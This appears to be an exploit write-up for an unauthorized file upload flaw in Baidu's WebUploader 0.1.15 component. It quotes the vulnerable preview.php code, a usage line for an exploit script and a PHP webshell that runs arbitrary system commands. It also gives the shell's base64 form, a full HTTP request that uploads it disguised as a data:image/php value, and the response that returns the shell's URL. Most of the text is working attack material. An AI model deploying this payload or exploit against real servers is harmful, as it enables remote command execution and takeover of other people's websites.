webuploader-v-0.1.15 Component Has an Unauthorized File Upload Vulnerability

Introduction: Baidu's WebUploader component has a file upload vulnerability. This vulnerability is caused by the upload page of the WebUploader component not strictly filtering file types or file extensions. Attackers can exploit the vulnerability to directly upload or easily bypass restrictions to upload script files, execute system commands, and gain permissions of the website server.

server/preview.php

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

0x00 Python Usage

python exp.py http://192.168.2.18/webuploader-0.1.15-Demo/server/preview.php

php_webshell

<?php
    if(isset($_REQUEST['cmd'])){
            echo "<pre>";
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            echo "</pre>";
            die;
    }
    phpinfo();
?>

Base64 Encode

PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

0x01 POST Upload PHP Webshell

http://192.168.2.18/webuploader-0.1.15-Demo/server/preview.php

BurpSuite Requests

POST /webuploader-0.1.15-Demo/server/preview.php HTTP/1.1
Host: 192.168.2.18
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 298
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

data:image/php;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

BurpSuite Response

HTTP/1.1 200 OK
Date: Fri, 06 Sep 2019 05:40:48 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
X-Powered-By: PHP/5.5.9
Connection: close
Content-Type: text/html
Content-Length: 142

{"jsonrpc" : "2.0", "result" : "http://192.168.2.18/webuploader-0.1.15-Demo/server/preview/fe8db86134e6505da6f3c4a112b0bad7.php", "id" : "id"}